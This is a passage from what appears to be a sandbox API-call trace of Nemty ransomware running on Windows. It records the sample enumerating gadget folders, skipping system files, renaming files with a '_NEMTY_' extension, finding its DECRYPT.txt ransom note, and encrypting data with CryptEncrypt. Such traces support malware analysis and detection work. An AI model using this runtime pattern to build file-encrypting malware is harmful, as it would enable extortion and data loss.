(in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0142.674] CloseHandle (hObject=0xffffffff) returned 0 [0142.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0142.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0142.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png._nemty_kgobjgd_")) returned 0 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0142.675] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183d30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x4183d30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x4183d30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0142.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0142.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0142.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0142.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0142.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0142.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0142.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0142.676] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0142.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0142.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0142.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0142.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0142.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0142.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340100 [0142.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.677] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183d30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x4183d30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x4183d30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0142.677] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0142.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0142.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0142.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0142.677] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="logo.png", cAlternateFileName="")) returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="IO.SYS") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0142.677] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0142.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0142.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0142.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0142.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0142.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0142.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0142.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0142.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0142.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0142.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0142.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0142.678] Sleep (dwMilliseconds=0x5) [0142.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x8b285d0, dwHighDateTime=0x1d561e8)) [0142.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x8b285d0, dwHighDateTime=0x1d561e8)) [0142.691] GetLastError () returned 0x12 [0142.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.691] GetLastError () returned 0x12 [0142.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.691] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0142.691] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0142.691] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0142.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0142.691] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="2OZBUgNgKodmmlms8togJWtc2pk/6nf0i5JcHl2XN1E7QUMFbKPxKoqWcOIrUgwJ\r\nbQzDCBdloJpnEDQLLDRlXR0FWCTDRjc8xDQ8Z61zO+qi3pIXy/RmMclMPc2/y9Zg\r\nIdk4v7+UnT0tEoFswlYPPnryD0DW7k0SW6a6a3KrfBdOHgln8gCCcsD6/ztvWGJl\r\n+gBb2riTGmGFOa8zRZAMKRZfG7TpYSB+oWfk7AAh0dLYDqDEdMPKJg9Cv4HuxOF1\r\nmrymCyW+9FUImyah0BCoWheMVh6/jSLUQq8NMF7SFvw3b1bzAXeKFTgFcC3NSmWK\r\n7S685F8CMoLrP+v/t8VhZQ==\r\n", pcchString=0x653ec5c) returned 1 [0142.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0142.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0142.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0142.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0142.692] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.692] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0142.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0142.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 